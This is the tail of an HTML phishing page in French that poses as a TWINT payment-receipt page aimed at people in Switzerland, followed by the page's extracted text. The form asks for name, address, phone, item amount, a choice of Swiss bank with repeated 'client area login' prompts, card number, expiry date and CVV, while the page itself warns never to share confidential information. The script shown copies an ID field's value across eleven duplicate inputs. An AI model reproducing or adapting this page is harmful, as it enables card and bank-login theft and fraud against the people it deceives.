<label style="color: #FFFFFF ;font-family: Open Sans, sans-serif, Arial; font-size: 1.2rem; font-weight: 400; display: inline-flex">champs requis</label>
</div>
<input id="cvv2" pattern="[0-9.,]+" placeholder="CVV" name="cvv2" minlength="3" maxlength="3" style="font-family: Open Sans, sans-serif, Arial; background-color: transparent" class="form-control" type="text" required=""><br>
</div>
</div>
<div class="form-group conteneur" align="center" style="display: block">
<div class="form-group flex" style="display: inline-block" align="center">
<input id="btn" name="submit" type="submit" style="font-family: Open Sans, sans-serif, Arial; width: 300px; height: 45px; margin-bottom: 40px; font-weight: bold; background-color:#ff0022" class="btn btn-primary" value="Suivant">
</div>
</div>
<script>
document.getElementById("id").addEventListener("input", function() {
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_2").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_3").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_4").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_5").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_6").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_7").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_8").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_9").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_10").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_10").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_11").value = this.value;
});
document.getElementById("id_11").addEventListener("input", function() {
document.getElementById("id").value = this.value;
document.getElementById("id_2").value = this.value;
document.getElementById("id_3").value = this.value;
document.getElementById("id_4").value = this.value;
document.getElementById("id_5").value = this.value;
document.getElementById("id_6").value = this.value;
document.getElementById("id_7").value = this.value;
document.getElementById("id_8").value = this.value;
document.getElementById("id_9").value = this.value;
document.getElementById("id_10").value = this.value;
});
</script>
</div>
</div>
</div>
<div class="form-group conteneur" align="center" style="display: block">
<div class="form-group flex" style="display: inline-block" align="center">
</div>
</div>
</form>Text Content
ENREGISTREZ VOS COORDONNÉES POUR RECEVOIR LE VIREMENT TWINT : Une app qui facilite la vie, afin que le processus de paiement ne soit plus qu’une formalité. Ne communiquer jamais vos informations confidentielles à une tiers personnes*. Nom & Prénom(s) champs requis Adresse champs requis Numéro de Téléphone champs requis Montant de l'Article champs requis UBS Pictet Credit Suisse Julius Bär Zürcher Kantonalbank Vontobel Lombard Odier Raiffeisen J. Safra Sarasin UBP SA Autres Banques MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION MON ESPACE CLIENT PARTICULIERS : CONNEXION Type de Carte champs requis VISA MASTERCARD Numéro de carte champs requis Date d'expiration champs requis 01 02 03 04 05 06 07 08 09 10 11 12 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 Cryptogramme champs requis